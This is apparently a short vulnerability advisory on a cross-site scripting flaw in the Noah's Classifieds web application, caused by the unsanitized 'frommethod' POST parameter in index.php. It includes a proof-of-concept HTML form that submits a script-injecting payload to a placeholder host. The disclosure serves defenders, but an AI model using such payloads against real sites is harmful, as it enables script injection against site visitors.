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Noah's Classifieds Cross Site Scripting Vulnerability



Noah's Classifieds is prone to a Cross Site Scripting Vulnerability, due to a 
failure in the application to properly sanitize the "frommethod" POST parameter 
in "index.php" :

<html>
<body>

<form method="POST" enctype="multipart/form-data" 
action="http://www.example.com/classifieds/index.php";>

<input type="hidden" name="fromlist" value="advertisement">
<input type="hidden" name="frommethod" value="'><script>alert('XSS 
Vulnerable');</script>"
<input type="submit" value="Cancel" name="submit" class="button">

</form>

</body>
</html>

Advisory: http://zone14.free.fr/advisories/5/

--Raphael HUCK